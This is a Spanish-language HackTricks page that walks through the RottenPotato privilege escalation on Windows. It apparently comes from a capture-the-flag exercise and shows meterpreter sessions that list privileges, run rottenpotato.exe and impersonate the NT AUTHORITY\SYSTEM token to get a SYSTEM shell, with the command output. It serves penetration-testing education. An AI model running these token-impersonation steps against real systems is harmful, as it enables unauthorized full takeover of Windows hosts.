hacktricks/windows-hardening/windows-local-privilege-escalation/rottenpotato.md
2023-06-03 01:46:23 +00:00

5.8 KiB

RottenPotato

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

La información en esta página fue extraída de esta publicación

Las cuentas de servicio suelen tener privilegios especiales (SeImpersonatePrivileges) y esto podría ser utilizado para escalar privilegios.

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

No entraré en detalles sobre cómo funciona esta explotación, el artículo anterior lo explica mucho mejor de lo que yo podría hacerlo.

Verifiquemos nuestros privilegios con meterpreter:

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege

Excelente, parece que tenemos los privilegios necesarios para realizar el ataque. Vamos a subir rottenpotato.exe.

De vuelta en nuestra sesión de meterpreter, cargamos la extensión incognito.

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
No tokens available

Podemos ver que actualmente no tenemos Tokens de Impersonación. Ejecutemos el exploit Rotten Potato.

meterpreter > execute -f rottenpotato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

Necesitamos rápidamente suplantar el token o desaparecerá.

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

¡Éxito! ¡Tenemos nuestra shell SYSTEM y podemos obtener el archivo root.txt!

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥